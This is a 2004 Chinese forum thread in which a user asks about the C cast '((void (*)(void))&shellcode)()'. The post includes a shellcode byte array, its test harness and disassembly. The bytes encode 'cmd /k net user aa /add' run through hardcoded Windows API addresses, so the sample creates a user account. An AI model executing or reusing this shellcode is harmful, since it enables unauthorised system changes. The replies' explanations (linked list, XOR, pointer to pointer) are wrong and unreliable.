标题:关于((void) (*)(void))&shellcode)();的疑惑
只看楼主
忆楠
Rank: 1
等 级:新手上路
帖 子:721
专家分:0
注 册:2004-7-5
 问题点数:0 回复次数:4 
关于((void) (*)(void))&shellcode)();的疑惑

比如: #include <stdio.h> unsigned char shellcode[]="\x68\xC1\x15\x35\x09\x81\x2C\x24\x80\xD1\xF0\x08" "\x68\x61\x61\x20\x2f\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x6b\x20\x6e" "\x68\x63\x6d\x64\x20\x8b\xc4\x6a\x01\x50\xb8\x35\xfd\xe4\x77\xff\xd0\xb8\xfd\x98\xe5\x77\xff\xd0"; int main() { ((void (*)(void))&shellcode)( ); return 0; } &shellcode是数组shellcode的首地址,&shellcode后面加个( )就应该是表示一个函数,反汇编一看也证实了我的想法, 7: int main() 8: 9: { 00401010 push ebp 00401011 mov ebp,esp 00401013 push esi 10: ((void (*)(void))&shellcode)(); 00401014 mov eax,offset _shellcode (00411a30) 00401019 mov esi,esp 0040101B call eax 0040101D cmp esi,esp 0040101F call __chkesp (00401040) 11: return 0; 00401024 xor eax,eax 12: 13: } 那么&shellcode前面的那个 ((void (*)(void))是不是表示该函数返回指向任意类型的指针?我的C语言也太烂了,请知道的兄弟指点一二,我十分感谢。

我帮朋友问的问题 请大家帮帮忙

搜索更多相关主题的帖子: void shellcode 
2004-09-14 21:11
忆楠
Rank: 1
等 级:新手上路
帖 子:721
专家分:0
注 册:2004-7-5
得分:0 
自己顶一下   大家都来看看  随便发表点意见也可以

点 鼠 标 , 救 饥 民 http://www./
2004-09-19 21:48
网络游侠
Rank: 1
等 级:新手上路
帖 子:52
专家分:0
注 册:2004-9-27
得分:0 

我想这个应该是一个指想双链表的指针,

返回的是双链表的首地址

你可以让你的朋友试一试我的这个想法,也许是对的


我追求! 我需要! 我感受! 你是我的一切!
2004-09-27 11:49
live41
Rank: 10Rank: 10Rank: 10
等 级:贵宾
威 望:67
帖 子:12442
专家分:0
注 册:2004-7-22
得分:0 

10: ((void (*)(void))&shellcode)(); 反汇编也没有反出来啊,是不是还有定义?

没有见过()();的形式啊!shellcode已经是地址,在&已经不是地址,是异或运算吗?

2004-10-01 23:50
空前
Rank: 1
等 级:新手上路
帖 子:1146
专家分:0
注 册:2004-5-11
得分:0 
地址的地址,相当于一个指向指针的指针吧!

2004-10-03 04:08



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-5307-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.073215 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved